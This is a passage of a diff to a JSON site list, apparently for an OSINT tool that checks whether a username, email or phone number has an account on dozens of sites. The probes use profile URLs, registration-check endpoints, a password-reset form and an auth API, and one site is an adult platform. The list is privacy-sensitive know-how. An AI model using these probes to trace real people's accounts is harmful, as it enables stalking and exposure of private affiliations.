"successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "t00ls": { + "url": "https://www.t00ls.com/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "type": "username", + "existRegex": "用户名已经被他人使用", + "url": "https://www.t00ls.com/ajax.php?infloat=register&handlekey=register&action=checkusername&username=%s&inajax=1&ajaxtarget=returnmessage4", + "existUsername": "Bypass", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.t00ls.com/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "90sec": { + "url": "https://forum.90sec.com/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "type": "username", + "nonExistRegex": "true", + "existRegex": "false", + "url": "https://forum.90sec.com/u/check_username?username=%s&email=", + "existUsername": "admin05", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36", + "X-Requested-With": "XMLHttpRequest" + }, + "userPage": "https://forum.90sec.com/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "thehackerworld": { + "url": "https://www.thehackerworld.com/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.thehackerworld.com/profile/%s/", + "existUsername": "1-this-cht", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.thehackerworld.com/profile/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "sspai": { + "url": "https://sspai.com/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "type": "username", + "nonExistRegex": "用户数据不存在", + "existRegex": "id", + "url": "https://sspai.com/api/v1/information/user/activity/page/get?limit=10&offset=0&slug=%s", + "existUsername": "waychane", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://sspai.com/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "ld246": { + "url": "https://ld246.com/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "type": "username", + "nonExistRegex": "404 Not Found!", + "existRegex": "在线时长", + "url": "https://ld246.com/member/%s", + "existUsername": "hyggge", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://ld246.com/member/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "qyer": { + "url": "https://bbs.qyer.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "existRegex": "510001", + "url": "https://bbs.qyer.com/qcross/passport/register/mobile/checkname", + "existUsername": "fbird22", + "nonExistUsername": "youga777888", + "body": "username=%s", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36", + "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8" + }, + "userPage": "https://bbs.qyer.com" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "jandan": { + "url": "http://jandan.net/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "http://jandan.net/p/author/%s", + "existUsername": "Diehard", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "http://jandan.net/p/author/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "ifanr": { + "url": "https://www.ifanr.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "existRegex": "共发表了", + "url": "https://www.ifanr.com/author/%s", + "existUsername": "aifan", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.ifanr.com/author/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "twle": { + "url": "https://www.twle.cn/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "type": "username", + "nonExistRegex": "Member Not Found", + "existRegex": "加入于", + "url": "https://www.twle.cn/member/%s", + "existUsername": "yufei", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.twle.cn/member/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "chouti": { + "url": "https://dig.chouti.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "nonExistRegex": "收到进入热榜消息", + "existRegex": "nickSignInAudit", + "url": "https://dig.chouti.com/users/profile?jid=%s", + "existUsername": "meigancai", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://dig.chouti.com/publish/links/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "gaoloumi": { + "url": "https://gaoloumi.cc/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "nonExistRegex": "succeed", + "existRegex": "logging", + "url": "https://gaoloumi.cc/forum.php?mod=ajax&inajax=yes&infloat=register&handlekey=register&ajaxmenu=1&action=checkusername&username=%s", + "existUsername": "billy_2009", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://gaoloumi.cc/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "zol": { + "url": "https://my.zol.com.cn/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "existRegex": "user-namebox", + "url": "https://my.zol.com.cn/%s/", + "existUsername": "lo62ir", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://my.zol.com.cn/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "producthunt": { + "url": "https://www.producthunt.com/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.producthunt.com/@%s", + "existUsername": "aaronoleary", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.producthunt.com/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "yystv": { + "url": "https://www.yystv.cn/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "type": "email, phone", + "nonExistRegex": "[20404|20407]", + "url": "https://www.yystv.cn/account/send_forget_passw", + "nonExistUsername": "youga777888", + "body": "name=%s&verify=", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36", + "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8" + }, + "userPage": "https://www.yystv.cn/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "bilibili": { + "url": "https://www.bilibili.com", + "type": "Video", + "isNSFW": false, + "detect": [ + { + "type": "google", + "searchUrl": "https://www.google.com/search?q=%s", + "search": "site:space.bilibili.com%%20%%22%s%%22" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "ichunqiu": { + "url": "https://www.ichunqiu.com", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "type": "google", + "searchUrl": "https://www.google.com/search?q=%s", + "search": "site:www.ichunqiu.com.com%%20%%22%s%%22" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "eastmoney": { + "url": "https://www.eastmoney.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "google", + "searchUrl": "https://www.google.com/search?q=%s", + "search": "site:eastmoney.com%%20%%22%s%%22" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "threatbook": { + "url": "https://x.threatbook.com", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "type": "google", + "searchUrl": "https://www.google.com/search?q=%s", + "search": "site:x.threatbook.com%%20%%22%s%%22" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "baidu-zhidao": { + "url": "https://zhidao.baidu.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "google", + "searchUrl": "https://www.google.com/search?q=%s", + "search": "site:zhidao.baidu.com%%20%%22%s%%22" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "baidu-tieba": { + "url": "https://tieba.baidu.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "google", + "searchUrl": "https://www.google.com/search?q=%s", + "search": "site:tieba.baidu.com%%20%%22%s%%22" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "anquanke": { + "url": "https://www.anquanke.com", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "type": "google", + "searchUrl": "https://www.google.com/search?q=%s", + "search": "site:www.anquanke.com%%20%%22%s%%22" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "secpulse": { + "url": "https://www.secpulse.com", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "type": "google", + "searchUrl": "https://www.google.com/search?q=%s", + "search": "site:www.secpulse.com%%20%%22%s%%22%%20inurl:author" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "xz": { + "url": "https://xz.aliyun.com", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "type": "google", + "searchUrl": "https://www.google.com/search?q=%s", + "search": "site:xz.aliyun.com%%20%%22%s%%22" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "butian": { + "url": "https://forum.butian.net", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "type": "google", + "searchUrl": "https://www.google.com/search?q=%s", + "search": "site:forum.butian.net%%20%%22%s%%22" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "eastmoney-src": { + "url": "https://security.eastmoney.com", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "type": "google", + "searchUrl": "https://www.google.com/search?q=%s", + "search": "site:security.eastmoney.com%%20%%22%s%%22" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "ywhack": { + "url": "https://forum.ywhack.com/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "type": "username", + "existRegex": "用户名已经被他人使用", + "url": "https://forum.ywhack.com/ajax.php?infloat=register&handlekey=register&action=checkusername&username=%s&inajax=1&ajaxtarget=returnmessage4", + "existUsername": "admin", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://forum.ywhack.com/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "huoxian": { + "url": "https://zone.huoxian.cn/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "type": "phone", + "existRegex": "true", + "url": "https://6p9ocl.authing.cn/api/v2/users/find?key=%s&type=phone&userPoolId=61dbe991401e129d640b1da6", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "ttps://zone.huoxian.cn/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "3dnews": { + "url": "http://forum.3dnews.ru/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "existRegex": "stats_mini", + "url": "http://forum.3dnews.ru/member.php?username=%s", + "existUsername": "", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "http://forum.3dnews.ru/member.php?username=%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "7cups": { + "url": "https://www.7cups.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.7cups.com/@%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.7cups.com/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "GB" + } + }, + "8tracks": { + "url": "https://8tracks.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "nonExistRegex": "This page has vanished", + "url": "https://8tracks.com/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://8tracks.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "apclips": { + "url": "https://apclips.com/", + "type": "Video", + "isNSFW": true, + "detect": [ + { + "type": "username", + "nonExistRegex": "Amateur Porn Content Creators", + "url": "https://apclips.com/%s", + "existUsername": "onlybbyraq", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://apclips.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "about-me": { + "url": "https://about.me/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://about.me/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://about.me/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "academia-edu": { + "url": "https://www.academia.edu/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://independent.academia.edu/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://independent.academia.edu/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "airbit": { + "url": "https://airbit.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://airbit.com/%s", + "existUsername": "airbit", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://airbit.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "airliners": { + "url": "https://www.airliners.net/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.airliners.net/user/%s/profile/photos", + "existUsername": "yushinlin", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.airliners.net/user/%s/profile/photos" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "alik-cz": { + "url": "https://www.alik.cz/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.alik.cz/u/%s", + "existUsername": "julian", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.alik.cz/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CZ" + } + }, + "amino": { + "url": "https://aminoapps.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://aminoapps.com/u/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://aminoapps.com/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "GB" + } + }, + "anilist": { + "url": "https://anilist.co/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://anilist.co/graphql", + "body": { + "query": "query($id:Int,$name:String){User(id:$id,name:$name){id name previousNames{name updatedAt}avatar{large}bannerImage about isFollowing isFollower donatorTier donatorBadge createdAt moderatorRoles isBlocked bans options{profileColor restrictMessagesToFollowing}mediaListOptions{scoreFormat}statistics{anime{count meanScore standardDeviation minutesWatched episodesWatched genrePreview:genres(limit:10,sort:COUNT_DESC){genre count}}manga{count meanScore standardDeviation chaptersRead volumesRead genrePreview:genres(limit:10,sort:COUNT_DESC){genre count}}}stats{activityHistory{date amount level}}favourites{anime{edges{favouriteOrder node{id type status(version:2)format isAdult bannerImage title{userPreferred}coverImage{large}startDate{year}}}}manga{edges{favouriteOrder node{id type status(version:2)format isAdult bannerImage title{userPreferred}coverImage{large}startDate{year}}}}characters{edges{favouriteOrder node{id name{userPreferred}image{large}}}}staff{edges{favouriteOrder node{id name{userPreferred}image{large}}}}studios{edges{favouriteOrder node{id name}}}}}}", + "variables": { + "name": "%s" + } + }, + "existUsername": "Josh", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36", + "Content-Type": "application/json;charset=UTF-8" + }, + "userPage": "https://anilist.co/user/%s/", + "status": false + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "IS" + } + }, + "appledeveloper": { + "url": "https://developer.apple.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://developer.apple.com/forums/profile/%s", + "existUsername": "lio24d", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://developer.apple.com/forums/profile/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "artstation": { + "url": "https://www.artstation.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.artstation.com/%s", + "existUsername": "Blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.artstation.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "asciinema": { + "url": "https://asciinema.org", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://asciinema.org/~%s", + "existUsername": "red", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://asciinema.org/~%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "GB" + } + }, + "askfedora": { + "url": "https://ask.fedoraproject.org/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://ask.fedoraproject.org/u/%s", + "existUsername": "red", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://ask.fedoraproject.org/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "audiojungle": { + "url": "https://audiojungle.net/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://audiojungle.net/user/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://audiojungle.net/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "AU" + } + }, + "autofrage": { + "url": "https://www.autofrage.net/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.autofrage.net/nutzer/%s", + "existUsername": "autofrage", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.autofrage.net/nutzer/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "DE" + } + }, + "blip-fm": { + "url": "https://blip.fm/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://blip.fm/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://blip.fm/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "bandcamp": { + "url": "https://www.bandcamp.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.bandcamp.com/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.bandcamp.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "behance": { + "url": "https://www.behance.net/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.behance.net/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.behance.net/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "bezuzyteczna": { + "url": "https://bezuzyteczna.pl", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://bezuzyteczna.pl/uzytkownicy/%s", + "existUsername": "Jackson", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://bezuzyteczna.pl/uzytkownicy/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "PL" + } + }, + "biggerpockets": { + "url": "https://www.biggerpockets.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.biggerpockets.com/users/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.biggerpockets.com/users/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "bikemap": { + "url": "https://www.bikemap.net/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.bikemap.net/en/u/%s/routes/created/", + "existUsername": "bikemap", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.bikemap.net/en/u/%s/routes/created/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "AT" + } + }, + "biohacking": { + "url": "https://forum.dangerousthings.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://forum.dangerousthings.com/u/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://forum.dangerousthings.com/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "bitbucket": { + "url": "https://bitbucket.org/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://bitbucket.org/%s/", + "existUsername": "white", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://bitbucket.org/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "AU" + } + }, + "bitwardenforum": { + "url": "https://bitwarden.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://community.bitwarden.com/u/%s/summary", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://community.bitwarden.com/u/%s/summary" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "blogger": { + "url": "https://www.blogger.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://%s.blogspot.com", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 